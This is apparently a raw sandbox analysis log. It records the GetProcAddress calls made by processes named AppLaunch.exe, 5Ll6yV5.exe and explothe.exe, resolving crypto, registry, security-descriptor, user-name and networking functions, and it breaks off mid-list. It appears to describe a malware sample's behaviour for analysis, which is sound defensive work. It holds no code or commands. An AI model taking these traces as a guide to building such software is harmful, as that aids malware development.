(UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter StringFromGUID2 (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptGetDefaultProviderW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CPAcquireContext (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CPReleaseContext (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGenKey (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDeriveKey (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDestroyKey (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetKeyParam (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetKeyParam (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CPExportKey (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CPImportKey (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CPEncrypt (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDecrypt (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CPCreateHash (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CPHashData (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CPHashSessionKey (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDestroyHash (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSignHash (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CPVerifySignature (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGenRandom (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetUserKey (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetProvParam (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetProvParam (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetHashParam (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetHashParam (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDuplicateKey (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDuplicateHash (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionAndSpinCount (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter ProcessIdToSessionId (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmCreateContext (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmDestroyContext (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmNotifyIME (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmAssociateContext (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmReleaseContext (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmGetContext (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringA (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringA (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmSetCandidateWindow (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter AdjustWindowRectEx (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter DefWindowProcW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetStockObject (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterClass (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterClassW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateWindowEx (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateWindowExW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter SetWindowLong (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter SetWindowLongW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetWindowLong (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetWindowLongW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CallWindowProc (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CallWindowProcW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetClientRect (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetWindowRect (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetParent (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptExportKey (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptCreateHash (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptHashData (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptGetHashParam (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptDestroyHash (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter _calloc_base (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeSListHead (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter malloc (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter SetProcessDPIAware (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter PathAppendW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter DWriteCreateFactory (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter PathCombineW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GdiEntry13 (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptAcquireContextA (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter IIDFromString (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CLSIDFromOle1Class (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCatalogObject (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCatalogObject2 (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter DllCanUnloadNow (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadLibrary (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetMethodQualifierSet (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetMethodOrigin (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter QualifierSet_Get (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter QualifierSet_Put (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter QualifierSet_Delete (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter QualifierSet_GetNames (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter QualifierSet_BeginEnumeration (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter QualifierSet_Next (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter QualifierSet_EndEnumeration (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentApartmentType (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetDemultiplexedStub (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateInstanceEnumWmi (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateClassEnumWmi (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter ExecQueryWmi (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter ExecNotificationQueryWmi (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter PutInstanceWmi (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter PutClassWmi (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CloneEnumWbemClassObject (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter ConnectServerWmi (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetErrorInfo (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter Initialize (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetMarshalSizeMax (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CoMarshalInterface (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CoUnmarshalInterface (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter CoReleaseMarshalData (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemDefaultLocaleName (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter EtwRegisterTraceGuidsW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter SetClassLong (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter SetClassLongW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter PostMessage (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter PostMessageW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter UnregisterClass (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter UnregisterClassW (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter free (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter __std_type_info_destroy_list (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter _free_base (UID: 00000000-00005496) "AppLaunch.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00005496) "5Ll6yV5.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter CoGetMalloc (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadDWORD (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter StringFromGUID2 (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter RegEnumKeyW (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadBSTR (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadStrAlloc (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter CLSIDFromOle1Class (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter GetCatalogObject (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter GetCatalogObject2 (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter DllCanUnloadNow (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter InitializeSecurityDescriptor (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter SetEntriesInAclW (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter GetMartaExtensionInterface (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter SetSecurityDescriptorDacl (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter IsTextUnicode (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter PropVariantClear (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter RegQueryValueW (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter ApphelpCheckShellObject (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadGUID (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter RegGetValueW (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter CoTaskMemRealloc (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter InitPropVariantFromStringAsVector (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter PSCoerceToCanonicalValue (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter PropVariantToStringAlloc (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter CoAllowSetForegroundWindow (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter PathCreateFromUrlW (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter CM_Get_Device_Interface_List_Size_ExW (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter ConvertStringSidToSidW (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter SaferGetPolicyInformation (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter CM_Get_Device_Interface_List_ExW (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter CoRevokeInitializeSpy (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005448) "5Ll6yV5.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00005448) "explothe.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CoGetApartmentType (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CoRegisterInitializeSpy (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CoGetMalloc (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadDWORD (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadGUID (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter RegEnumKeyW (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter StringFromGUID2 (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter ApphelpCheckShellObject (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CLSIDFromOle1Class (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter GetCatalogObject (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter GetCatalogObject2 (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter AcquireSRWLockShared (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter ReleaseSRWLockShared (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter InitCommonControlsEx (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter DllCanUnloadNow (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadStrAlloc (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter InitializeSecurityDescriptor (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter SetEntriesInAclW (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter GetMartaExtensionInterface (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter SetSecurityDescriptorDacl (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter IsTextUnicode (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter RegGetValueW (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CoTaskMemRealloc (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter InitPropVariantFromStringAsVector (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter PSCoerceToCanonicalValue (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter PropVariantToStringAlloc (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter PropVariantClear (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CoAllowSetForegroundWindow (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CM_Get_Device_Interface_List_Size_ExW (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CM_Get_Device_Interface_List_ExW (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter PathCreateFromUrlW (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter SaferGetPolicyInformation (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter OleUninitialize (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CoRevokeInitializeSpy (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter GetUserNameExA (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter GetSidSubAuthorityCount (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter GetSidSubAuthority (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter RegCreateKeyExA (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter SHGetKnownFolderPath (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CopySid (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorW (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter WinHttpCreateProxyResolver (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter WSPStartup (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter GetBestInterfaceEx (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter GetIfEntry2 (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter RpcBindingFree (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter WSHOpenSocket (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter WSHOpenSocket2 (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter ConvertInterfaceNameToLuidW (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter WSHJoinLeaf (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter WSHNotify (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter WSHGetSocketInformation (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter WSHSetSocketInformation (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter WSHGetSockaddrType (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter WSHGetWildcardSockaddr (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter WSHGetBroadcastSockaddr (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter WSHAddressToString (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter WSHStringToAddress (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter WSHIoctl (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter DnsQueryConfigAllocEx (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter Dhcpv6FreeLeaseInfo (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter DnsQueryExW (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter NotifyUnicastIpAddressChange (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter DhcpIsEnabled (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter GetCurrentThreadCompartmentId (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter DhcpQueryLeaseInfo (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter DhcpFreeLeaseInfo (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CPAcquireContext (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CPReleaseContext (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CPGenKey (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CPDeriveKey (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CPDestroyKey (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CPSetKeyParam (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CPGetKeyParam (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CPExportKey (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CPImportKey (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CPEncrypt (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CPDecrypt (UID: 00000000-00005604) "explothe.exe" called "GetProcAddress" with a parameter CPCreateHash (UID: 00000000-00005604) 